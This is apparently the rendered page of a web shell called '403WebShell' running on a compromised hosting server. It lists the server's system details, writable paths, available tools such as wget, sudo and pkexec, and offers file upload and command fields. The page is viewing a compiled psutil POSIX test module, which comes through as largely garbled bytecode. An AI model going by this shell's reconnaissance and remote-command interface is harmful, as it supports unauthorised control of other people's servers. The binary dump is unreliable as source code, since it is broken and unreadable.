Uname:Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64

Base Dir : /home/iscmbt-kufa-atu/public_html

User : iscmbt-kufa-atu


403WebShell
403Webshell
Server IP : 89.117.53.150  /  Your IP : 216.73.216.11
Web Server : Apache
System : Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User : iscmbt-kufa-atu ( 1014)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/psutil/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/psutil/tests/__pycache__/test_posix.cpython-310.pyc
o

���a(;�@s�dZddlZddlZddlZddlZddlZddlZddlZddlmZddlm	Z	ddlm
Z
ddlmZddlmZddlm
Z
dd	lmZdd
lmZddlmZddlmZdd
lmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZe
r�ddlZddlZddlmZd*dd�Z dd�Z!dd�Z"dd�Z#dd �Z$e�%e
d!�Gd"d#�d#e��Z&e�%e
d!�Gd$d%�d%e��Z'e�%e
d!�Gd&d'�d'e��Z(e)d(kr�dd)l*m+Z+e+e,�dSdS)+zPOSIX specific tests.�N)�AIX)�BSD)�LINUX)�MACOS)�OPENBSD)�POSIX)�SUNOS)�
CI_TESTING)�HAS_NET_IO_COUNTERS)�
PYTHON_EXE)�PsutilTestCase)�mock)�retry_on_failure)�sh)�skip_on_access_denied)�spawn_testproc)�	terminate)�unittest)�which)�getpagesizec	Cs�dg}tr
|�d�|dur|�dt|�g�ntstr"|�d�n|�d�tr3td�}|�||�}|�d|g�t|�}trE|�	�}n|�	�d	d�}g}|D]}|�
�}zt|�}Wn	tyfYnw|�|�qQ|durs|S|d
S)z|
    Wrapper for calling the ps command with a little bit of cross-platform
    support for a narrow range of features.
    �psz--no-headersNz-pz-A�ax)�command�comm�start�stimez-o�r)
r�append�extend�strrr�set�getr�
splitlines�strip�int�
ValueError)�fmt�pid�cmd�fmt_map�output�
all_output�line�r-�9/usr/lib/python3/dist-packages/psutil/tests/test_posix.pyr.s8


�rcCsd}trd}t||���dS)Nrrr)rr�split�r'�fieldr-r-r.�ps_namejsr2cCsd}tstrd}t||�S)Nr�args)rrrr0r-r-r.�ps_argsqs
r4cC�d}trd}t||�S)N�rss�rssize�rrr0r-r-r.�ps_rssx�
r9cCr5)N�vsz�vsizer8r0r-r-r.�ps_vszr:r=z
POSIX onlyc@s�eZdZdZedd��Zedd��Zdd�Zdd	�Zd
d�Z	dd
�Z
dd�Ze�e
�dd���Ze�e
�dd���Zdd�Zdd�Zdd�Zdd�Ze�epOed�dd��Zdd �Zd!d"�Ze�ed#�e�ed$�d%d&���Zd'S)(�TestProcesszBCompare psutil results against 'ps' command line utility (mainly).cCsttddgtjd�j|_dS)Nz-Ez-O)�stdin)rr�
subprocess�PIPEr'��clsr-r-r.�
setUpClass�s

��zTestProcess.setUpClasscCst|j�dS�N)rr'rBr-r-r.�
tearDownClass�szTestProcess.tearDownClasscC�,td|j�}t�|j���}|�||�dS)N�ppid)rr'�psutil�ProcessrH�assertEqual)�self�ppid_ps�ppid_psutilr-r-r.�	test_ppid��zTestProcess.test_ppidcC�.td|j�}t�|j���j}|�||�dS)N�uid)rr'rIrJ�uids�realrK)rL�uid_ps�
uid_psutilr-r-r.�test_uid��zTestProcess.test_uidcCrQ)N�rgid)rr'rIrJ�gidsrTrK)rL�gid_ps�
gid_psutilr-r-r.�test_gid�rXzTestProcess.test_gidcCrG)N�user)rr'rIrJ�usernamerK)rL�username_ps�username_psutilr-r-r.�
test_username�rPzTestProcess.test_usernamecCs`t��}tjdtd��}|�|��t|��j	��|j
sJ�Wd�dS1s)wYdS)Nzpsutil.pwd.getpwuid��side_effect)rIrJr
�patch�KeyErrorrKr_rrSrT�called)rL�p�funr-r-r.�test_username_no_resolution�s
"�z'TestProcess.test_username_no_resolutioncC�<t�d�t|j�}t�|j���dd}|�||�dS)N皙�����?r�)�time�sleepr9r'rIrJ�memory_inforK)rL�rss_ps�
rss_psutilr-r-r.�test_rss_memory��

zTestProcess.test_rss_memorycCrk)Nrlrrm)rnror=r'rIrJrprK)rL�vsz_ps�
vsz_psutilr-r-r.�test_vsz_memory�rtzTestProcess.test_vsz_memorycCsvt|j�}tj�|���}t�|j�����}t	�
dd|�}t	�
dd|�}t	�
dd|�}t	�
dd|�}|�||�dS)Nz\d.\d�z\d)r2r'�os�path�basename�lowerrIrJ�name�re�subrK)rL�name_ps�name_psutilr-r-r.�	test_name�s
zTestProcess.test_namec	Cs�d}gd�}tjd|d��4tjd|d��t��}|�|��d�Wd�n1s,wYWd�dSWd�dS1sDwYdS)N�long-program-name)�long-program-name-extended�foo�bar�psutil._psplatform.Process.name��return_value�"psutil._psplatform.Process.cmdliner�)r
rerIrJrKr})rLr}�cmdlinerhr-r-r.�test_name_long�s����"�zTestProcess.test_name_longc	Cs�d}tjd|d��8tjdt�dd�d��t��}|�|��d�Wd�n1s,wYWd�dSWd�dS1sDwYdS�Nr�r�r�r�rrxrc)r
rerI�AccessDeniedrJrKr}�rLr}rhr-r-r.�test_name_long_cmdline_ad_exc�s�
���"�z)TestProcess.test_name_long_cmdline_ad_excc	Cs�d}tjd|d��8tjdt�dd�d��t��}|�tj|j�Wd�n1s,wYWd�dSWd�dS1sDwYdSr�)r
rerI�
NoSuchProcessrJ�assertRaisesr}r�r-r-r.�test_name_long_cmdline_nsp_exc�s�
���"�z*TestProcess.test_name_long_cmdline_nsp_exczps -o start not availablecCs\td|j�}t�|j���}tj�|��d�}t|�}tj�|��d�}|�	|||g�dS)Nrz%H:%M:%S)
rr'rIrJ�create_time�datetime�
fromtimestamp�strftime�round�assertIn)rL�time_ps�time_psutil�time_psutil_tstamp�round_time_psutil�round_time_psutil_tstampr-r-r.�test_create_time�s����zTestProcess.test_create_timecCs^t|j�}t�|j���}z	|�||�WdSty.|dt|��}|�||�YdSwrE)r2r'rIrJ�exerK�AssertionError�len)rL�ps_pathname�psutil_pathname�adjusted_ps_pathnamer-r-r.�test_exes
�zTestProcess.test_execCs0t|j�}d�t�|j����}|�||�dS)N� )r4r'�joinrIrJr�rK)rL�
ps_cmdline�psutil_cmdliner-r-r.�test_cmdlines
zTestProcess.test_cmdlineznot reliable on SUNOSznot reliable on AIXcCs(td|j�}t����}|�||�dS)N�nice)rr'rIrJr�rK)rL�ps_nice�psutil_nicer-r-r.�	test_niceszTestProcess.test_niceN)�__name__�
__module__�__qualname__�__doc__�classmethodrDrFrOrWr]rbrjrrrsrwr�r�r�r�r�skipIfrrr�r�r�rrr�r-r-r-r.r>�s8

	




r>c@s�eZdZdZe�dd��Ze�ed�e�e	d�d�e�e
d�dd	����Ze�eo/e
��d
�e�dd���Zd
d�Zdd�Zdd�Zdd�Ze�ed�e�dd���ZdS)�TestSystemAPIszTest some system APIs.cs�ttd���t���tstrd�vr��dd�t��t��dkr?�fdd��D��fdd��D�}|�dt	|��dSdS)Nr'rrc�g|]}|�vr|�qSr-r-��.0�x)�pids_psr-r.�
<listcomp>5�z,TestSystemAPIs.test_pids.<locals>.<listcomp>cr�r-r-r�)�pids_psutilr-r.r�6r�zdifference: )
�sortedrrI�pidsrr�insertr��failr)rL�
differencer-)r�r�r.�	test_pids(s��zTestSystemAPIs.test_pidszunreliable on SUNOS�ifconfigzno ifconfig cmdz
not supportedcCsPtd�}tjdd���D]}|��D]	}|�|�rn
q|�d||f�qdS)Nzifconfig -aT)�pernicz/couldn't find %s nic in 'ifconfig -a' output
%s)rrI�net_io_counters�keysr/�
startswithr�)rLr*�nicr,r-r-r.�test_nic_names;s
�����zTestSystemAPIs.test_nic_nameszunreliable on CIcCs�td�}|��s
|�d��|�d�}dd�|D�}dd�|D�}|�t|�tt����t��D]}|�|j	|�|�|j
|�q0dS)N�whozno users on this system�
cS�g|]}|��d�qS)r�r/r�r-r-r.r�Pr�z-TestSystemAPIs.test_users.<locals>.<listcomp>cSr�)rr�r�r-r-r.r�Qr�)rr#�skipTestr/rKr�rI�usersr�r}�terminal)rL�out�linesr��	terminals�ur-r-r.�
test_usersIs

�zTestSystemAPIs.test_userscC�\tjdttjd�d��}|�ttjjt	�
��|jsJ�Wd�dS1s'wYdS)Nzpsutil._psposix.os.killrxrc)r
re�OSError�errno�EBADFr�rI�_psposix�
pid_existsry�getpidrg�rL�mr-r-r.�test_pid_exists_let_raiseWs
�"�z(TestSystemAPIs.test_pid_exists_let_raisecCr�)N�psutil._psposix.os.waitpidrxrc)r
rer�r�r�r�rIr��wait_pidryr�rgr�r-r-r.�test_os_waitpid_let_raise`s
�"�z(TestSystemAPIs.test_os_waitpid_let_raisecCsdtjdttjd�d��}|jtjjtjj	t
��dd�|js J�Wd�dS1s+wYdS)Nr�rxrcg{�G�z�?)�timeout)
r
rer�r��EINTRr�rIr��TimeoutExpiredr�ryr�rgr�r-r-r.�test_os_waitpid_eintrhs
��"�z$TestSystemAPIs.test_os_waitpid_eintrcCsTtjddd��}|�ttjjt���|j	sJ�Wd�dS1s#wYdS)Nr�)r���r�)
r
rer�r%rIr�r�ryr�rgr�r-r-r.�test_os_waitpid_bad_ret_statusqs��"�z-TestSystemAPIs.test_os_waitpid_bad_ret_statuszunreliable on AIXc
Cs�dd�}d}tjdd�D]]}t�|j�}z||j�\}}}}Wn%tyD}	zt|	���}	d|	vs9d|	vs9d|	vr?WYd}	~	q�d}	~	ww|j|j	||d	�|j|j
||d	�|j|j||d	�|j|j|d
d	�qdS)NcSsvtd|���}|�d�d}|��}t|d�d}t|d�d}t|d�d}t|d�dd	��}||||fS)
Nzdf -k %sr�rrm����%rx)rr#r/r$�float�replace)�devicer�r,�fields�total�used�free�percentr-r-r.�df}sz*TestSystemAPIs.test_disk_usage.<locals>.dfi@F)�allzno such file or directoryzraw devices not supportedzpermission denied)�deltar)
rI�disk_partitions�
disk_usage�
mountpointr��RuntimeErrorrr|�assertAlmostEqualr�r�r�r�)
rLr��	tolerance�part�usager�r�r�r��errr-r-r.�test_disk_usagezs(
���zTestSystemAPIs.test_disk_usageN)r�r�r�r�rr�rr�rrr
r�r	rIr�r�r�r�r�r�rrr-r-r-r.r�$s$

		
	r�c@seZdZdd�ZdS)�TestMisccCs4t�}|�|d�|�|t���|�|tj�dS)Nr)r�
assertGreaterrK�resource�mmap�PAGESIZE)rL�pagesizer-r-r.�test_getpagesize�szTestMisc.test_getpagesizeN)r�r�r�r
r-r-r-r.r�sr�__main__)�
run_from_namerE)-r�r�r�ryr~r@rnrIrrrrrrr�psutil.testsr	r
rrr
rrrrrrrrr�psutil._psutil_posixrrr2r4r9r=r�r>r�rr��psutil.tests.runnerr�__file__r-r-r-r.�<module>s^
<y	�

Youez - 2016 - github.com/yon3zu
LinuXploit